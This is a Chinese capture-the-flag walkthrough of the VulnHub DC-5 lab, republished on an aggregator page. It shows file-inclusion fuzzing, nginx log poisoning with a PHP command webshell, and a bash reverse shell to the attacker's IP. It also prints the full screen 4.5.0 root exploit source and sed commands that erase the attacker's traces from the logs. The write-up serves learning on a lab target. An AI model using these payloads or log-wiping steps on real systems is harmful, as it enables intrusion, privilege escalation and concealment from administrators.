vulnhub靶场【DC系列】之5

news2025/1/8 10:17:19

前言

靶机：DC-5，IP地址为192.168.10.4

攻击：kali，IP地址为192.168.10.2

都采用VMWare，网卡为桥接模式

对于文章中涉及到的靶场以及工具，我放置网盘中https://pan.quark.cn/s/2fcf53ade985

主机发现

使用arp-scan -l或者netdiscover -r 192.168.10.1/24

信息收集

使用nmap扫描端口

网站信息探测

访问80端口默认界面，查看页面源代码，发现脚本语言为php

使用gobuster、dirsearch、ffuf、dirb、dirbuster等工具对目标进行目录爆破

gobuster dir -u http://192.168.10.4 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404

漏洞寻找

既然是php文件，并且当前也没有什么可用，那么使用ffuf对这些php脚本文件进行模糊测试，测试有无一些隐藏的参数，知道几个的php文件，来回进行一个测试，最终在thankyou.php发现

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.4/thankyou.php?FUZZ=./contact.php -fs 852
#FUZZ是前面字典的测试点，也就是测试参数
#FUZZ后面的是已知的网站php文件，如果存在文件包含等，可能就会显示
#-fs是过滤该字节大小的数据，也就是原始的thankyou.php的数据大小

发现参数file，那么再测试有什么可注入点，通过这个参数

ffuf -c -w /usr/share/wordlists/wfuzz/Injections/All_attack.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835
#-fs后面的数据变化了，是因为数据大小发生变化，在有file参数后，原始的大小变为835

通过构造链接，获取/etc/passwd文件，发现靶机内有一个用户dc

但是这里没有办法获取/etc/shadow文件，所以继续寻找其他点，尝试使用从github上获取的字典，继续进行测试

ffuf -c -w /usr/share/wordlists/linux_file.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835

漏洞利用

但是这里访问一圈，没有获取到有用信息。

这时候去前面看了一下nmap的扫描， 想起这里的网站使用的是nginx，偏偏使用的字典没有包括这个，这里就手动输入

路径作用
/etc/nginx/nginx.conf主配置文件
/var/log/nginx/access.log访问日志配置，它将访问日志记录
/var/log/nginx/error.log记录 Nginx 服务器在运行过程中出现的各种错误信息

经过测试，日志文件error.log会记录信息，但是access.log并无记录信息

既然是错误的日志，那么就尝试给予一个传参的值为php代码，然后进行测试

先传入简单的代码进行测试<?php system('id');?>

http://192.168.10.4/thankyou.php?file=<?php system('id');>

访问记录错误的日志文件，发现其中的代码被进行url编码了

访问链接，最好以查看源代码的形式，不然容易出错，或者看不清

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log

那么尝试使用burp进行抓取数据包，测试其在哪个阶段进行的url编码，发现是在到服务器之前进行的编码，那么可以在burp中修改，并且，还是有可能注入的

啧，这里靶机出了问题，再访问error.log没有任何信息，所以无奈之下，重装靶机，可能之前进行爆破的时候，太多导致的

这时候把编码的代码进行复原，然后进行转发

再次访问access.log，这里为什么是access.log不是error.log了呢，因为重装后，好了，access.log有数据了，不过访问error.log也是可以看到数据的

访问access.log的效果如下

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log

访问error.log的效果如下

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log

而且说白了，在进行构造时，参数是不是file都行，只要在进行查看，也就是文件包含时，使用即可

这里确定可以执行php代码，那么就尝试设置一个参数，来进行命令执行

构造代码<?php system($_REQUEST['cmd']);?>，然后再次通过burp改包后转发

然后在浏览器上访问，这时候就需要构造链接了

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log&cmd=ls

反弹shell

cmd用于接收用户的输入，然后调用system函数执行，也就相当于命令执行了

尝试通过这样构造一个bash反弹

/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'

#进行URL编码后
%2fbin%2fbash+-c+%27%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.10.2%2f9999+0%3e%261%27

把URL编码后的语句传参给cmd，就可以获取到一个反弹shell

在查看当前靶机内用户，发现只要dc，并且其中的目录下，并没有任何文件，个人感觉，可能都不需要提权至dc了

使用find寻找具有SUID权限的文件，啧，发现exim4文件，是不是很眼熟，因为这个和上个靶机很像，就是不知道版本是否一致

提权

测试发现exim4的版本为4.84-2，在使用searchsploit未对应版本，也未在范围内

searchsploit exim 4.8 privilege

不过发现一个不常见的命令screen-4.5.0

使用searchsploit搜索，发现有该版本的提权脚本

searchsploit screen 4.5.0

使用locate定位到文件的位置，然后为了方便复制到当前目录下的位置，然后查看脚本文件内容，发现涉及到gcc编译

那么测试靶机内有无环境，就是有无安装gcc，并且能否使用wget

不过在执行脚本后，直接出错，不过观察脚本，按理说，应该是可以进行创建等操作的，既然在靶机内无法直接执行脚本，那么就把脚本中的内容进行分段处理，这里就是三部分，两个c文件，然后还有编译的操作命令。

注意，我这里因为出现失误，所以后续的代码编辑，文件名称会改变，不过效果不变

//第一部分的c文件
//下面代码存放在 /tmp/libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/shell", 0, 0);
    chmod("/tmp/shell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}


//执行下面的命令
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

然后创建第二个

//第二部分的c文件

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}


//执行下面的命令
gcc -o /tmp/shell /tmp/shell.c
rm -f /tmp/shell.c

然后创建一个脚本文件，或者这里的命令，一个个去执行也是可以的

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/shell

因为靶机内文件编译器有问题，所以这里把两个c文件以及脚本文件编写好，然后通过python，靶机使用wget下载到/tmp目录。

不过在靶机使用gcc编译出现以下问题时，配置以下临时环境变量即可

#报错信息
gcc: error trying to exec 'cc1': execvp: No such file or directory

可以使用临时环境变量配置，一般的gcc关键目录可能都在这个

export PATH=$PATH:/usr/local/bin/

这时候再按照两个c文件对应的gcc编译命令，然后就可以编译成功

执行脚本文件，即可发现提权成功

查看flag

清除痕迹

这里必须要说一下，因为这次对于nginx的日志都已经出现问题了，所以肯定有大量的记录

sed -i "/192.168.10.2/d" /var/log/nginx/access.log
sed -i "/192.168.10.2/d" /var/log/nginx/error.log

对于其他的日志，直接置空或者怎么样都行

历史命令清理

history -r
history -c

总结

该靶场主要考察以下几点：

  1. 对于网站只有由php语言编写的时候，要测试有无隐藏的参数，或许这个参数具有文件包含功能，甚至可能会有远程的文件包含
  2. 对于常见的几种web中间件的配置文件的了解，这里是考察nginx的日志文件，并通过该日志文件触发php代码，以达到文件包含+命令执行的效果
  3. 反弹shell的构造，这里太多了，靶机支持的情况下，可以百度测试，这里提供一个地址https://forum.ywhack.com/shell.php
  4. 对于提权操作，搜索具有SUID权限的文件后，可以查看文件是否具有版本漏洞，可以借助searchsploit，然后以及靶机内信息收集来确定版本，以确定是否具有漏洞，这里忘了截图uname -a这里可以看到为GNU系统

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2273149.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

相关文章

双模态视觉特征流用于医学报告生成|文献速递-视觉大模型医疗图像应用

双模态视觉特征流用于医学报告生成|文献速递-视觉大模型医疗图像应用

Title 题目 Dual-modality visual feature flow for medical report generation 双模态视觉特征流用于医学报告生成 01 文献速递介绍 医学报告生成是一项新兴的跨模态文本生成任务&#xff08;X. Zeng et al., 2020&#xff1b;Najdenkoska et al., 2022&#xff1b;Li et…
阅读更多...
基于Fluent和深度学习算法驱动的流体力学计算与应用

基于Fluent和深度学习算法驱动的流体力学计算与应用

物理模型与深度学习的融合&#xff1a;研究如何将传统的物理模型与深度学习算法相结合&#xff0c;以提高流体力学问题的预测准确性和计算效率。复杂流动模拟&#xff1a;利用深度学习技术对复杂流动现象进行模拟和分析&#xff0c;包括湍流、多相流、非牛顿流体等&#xff0c;…
阅读更多...
记PasteSpider部署工具的Windows.IIS版本开发过程之草稿-动态表单(2)

记PasteSpider部署工具的Windows.IIS版本开发过程之草稿-动态表单(2)

接1的内容&#xff0c;那么有这么一个需求&#xff01; 需求分析 需要修改某一个配置的时候 1.从对应的api中读取消息&#xff0c;消息内容为Json格式的 2.基于当前的Json渲染成表单提供给管理端的客户呈现 3.管理端的用户可以基于这个表单的内容进行修改&#xff0c;然后提交…
阅读更多...
pycharm-pyspark 环境安装

pycharm-pyspark 环境安装

1、环境准备&#xff1a;java、scala、pyspark、python-anaconda、pycharm vi ~/.bash_profile export SCALA_HOME/Users/xunyongsun/Documents/scala-2.13.0 export PATH P A T H : PATH: PATH:SCALA_HOME/bin export SPARK_HOME/Users/xunyongsun/Documents/spark-3.5.4-bin…
阅读更多...
Clisoft SOS设置Workarea

Clisoft SOS设置Workarea

Clisoft SOS设置Workarea 本人也是刚刚接触这个软件&#xff0c;可能有些方面不够完善&#xff0c;欢迎大佬指点。 这里就不演示创建创建Server和Project&#xff0c;可以参考Clisoft SOS设置Server和Project 创建Workarea 创建好目录并设置好权限 # 创建组 [bhlumaster ~]$…
阅读更多...
数据结构：LinkedList与链表—无头双向链表（二）

数据结构：LinkedList与链表—无头双向链表（二）

目录 一、什么是LinkedList&#xff1f; 二、LinkedList的模拟实现 1、display()方法 2、addFirst(int data)方法 3、addLast(int data)方法 4、addIndex(int index,int data)方法 5、contains(int key)方法 6、remove(int key)方法 7、removeAllKey(int key)方法 8、…
阅读更多...
基于SpringBoot实现的保障性住房管理系统

基于SpringBoot实现的保障性住房管理系统

&#x1f942;(❁◡❁)您的点赞&#x1f44d;➕评论&#x1f4dd;➕收藏⭐是作者创作的最大动力&#x1f91e; &#x1f496;&#x1f4d5;&#x1f389;&#x1f525; 支持我&#xff1a;点赞&#x1f44d;收藏⭐️留言&#x1f4dd;欢迎留言讨论 &#x1f525;&#x1f525;&…
阅读更多...
【Linux】硬链接和软连接（符号连接）

【Linux】硬链接和软连接（符号连接）

目录 硬链接 软连接 硬链接和软连接的区别 硬链接 ln根据linux系统分配给文件inode(ls -li)进行建立&#xff0c;没办法跨越文件系统 格式&#xff1a;ln 被链接的文件(源文件) 生成的链接文件(目标文件) 1) 硬链接的属性 - 相当于生成一个副本 起别名 2) 修改内容都变化…
阅读更多...
多目标优化算法——基于聚类的不规则Pareto前沿多目标优化自适应进化算法（CA-MOEA）

多目标优化算法——基于聚类的不规则Pareto前沿多目标优化自适应进化算法（CA-MOEA）

基于聚类的不规则Pareto前沿多目标优化自适应进化算法&#xff08;CA-MOEA&#xff09; 一、算法简介 简介&#xff1a; 现有的多目标进化算法&#xff08;moea&#xff09;在具有规则Pareto前沿且Pareto最优解在目标空间上连续分布的多目标优化问题&#xff08;MOPs&#xff…
阅读更多...
基于SpringBoot的乐器商城购物推荐系统

基于SpringBoot的乐器商城购物推荐系统

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…
阅读更多...
【vba源码】自动获取汇率

【vba源码】自动获取汇率

Hi&#xff0c;大家好&#xff01; 没有想到今天居然是腊八&#xff0c;过了腊八就是年&#xff0c;离过年越来越近了&#xff0c;那在这里给大家就拜个年&#xff0c;希望大家在新的一年都有好事发生。 最近在弄点小项目&#xff0c;在项目遇到了一个汇率计算的问题&#xff…
阅读更多...
JavaEE初阶——计算机工作原理

JavaEE初阶——计算机工作原理

一、什么是JavaEE JavaEE&#xff08;Java Platform&#xff0c;Enterprise Edition&#xff09;是sun公司&#xff08;2009年4月20日甲骨文将其收购&#xff09;推出的企业级应用程序版本。这个版本以前称为 J2EE。能够帮助我们开发和部署可移植、健壮、可伸缩且安全的服务器…
阅读更多...
【Unity3D】AB包加密（AssetBundle加密）

【Unity3D】AB包加密（AssetBundle加密）

加密前&#xff1a; 加密后&#xff0c;直接无法加载ab&#xff0c;所以无法正常看到ab内容。 using UnityEngine; using UnityEditor; using System.IO; public static class AssetBundleDemoTest {[MenuItem("Tools/打包!")]public static void Build(){//注意:St…
阅读更多...
数据库语句学习

数据库语句学习

WHERE AND: 请编写 SQL 语句&#xff0c;从 courses 表中&#xff0c;选取课程名为 Web 或者 Big Data 的课程信息&#xff0c;如果这两门课程存在&#xff0c;请将这两门课程的信息全部返回。 SELECT * FROM courses where name in (Web,Big Data) -- 等同于 -- WHERE name …
阅读更多...
“AI智慧语言训练系统：让语言学习变得更简单有趣

“AI智慧语言训练系统：让语言学习变得更简单有趣

大家好&#xff0c;我是你们的老朋友&#xff0c;一个热衷于探讨科技与教育结合的产品经理。今天&#xff0c;我想和大家聊聊一个让语言学习变得不再头疼的话题——AI智慧语言训练系统。这个系统可是我们语言学习者的福音&#xff0c;让我们一起来揭开它的神秘面纱吧&#xff0…
阅读更多...
Postman接口测试05|实战项目笔记

Postman接口测试05|实战项目笔记

目录 一、项目接口概况 二、单接口测试-登录接口&#xff1a;POST 1、正例 2、反例 ①姓名未注册 ②密码错误 ③姓名为空 ④多参 ⑤少参 ⑥无参 三、批量运行测试用例 四、生成测试报告 1、Postman界面生成 2、Newman命令行生成 五、token鉴权&#xff08;“…
阅读更多...
使用Locust对MongoDB进行负载测试

使用Locust对MongoDB进行负载测试

1.安装环境 pip install pymongo locust 2.设置测试环境 开启MongoDB服务 打开Navicat&#xff0c;新建MongoDB连接 新建test数据库和sample集合 3.编写脚本 load_mongo.py # codingutf-8 from locust import User, task, between, events from pymongo import MongoClie…
阅读更多...
【微服务】3、配置管理

【微服务】3、配置管理

微服务配置管理 已掌握的微服务组件及配置管理问题引出 已掌握注册中心、Openfan、远程调用、负载均衡、网关等组件&#xff0c;具备微服务开发能力&#xff0c;但仍存在其他问题待解决。微服务和网关存在大量配置文件&#xff0c;其中包含很多重复配置&#xff0c;如数据库、日…
阅读更多...
【Notepad++】Notepad++如何删除包含某个字符串所在的行

【Notepad++】Notepad++如何删除包含某个字符串所在的行

Notepad如何删除包含某个字符串所在的行 一&#xff0c;简介二&#xff0c;操作方法三&#xff0c;总结 一&#xff0c;简介 在使用beyoundcompare软件进行对比的时候&#xff0c;常常会出现一些无关紧要的地方&#xff0c;且所在行的内容是变化的&#xff0c;不方便进行比较&…
阅读更多...
计算机网络——期末复习（7）期末试卷样例3

计算机网络——期末复习（7）期末试卷样例3

一、辨析题&#xff08;共4小题&#xff0c;每小题5分&#xff0c;共20分&#xff09; 1.差错检测是保障网络正常通信的一项重要措施&#xff0c;有多种差错检测算法&#xff08;技术&#xff09;&#xff0c; &#xff08;1&#xff09;以太网和IP协议各自采用的差错校验算法…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023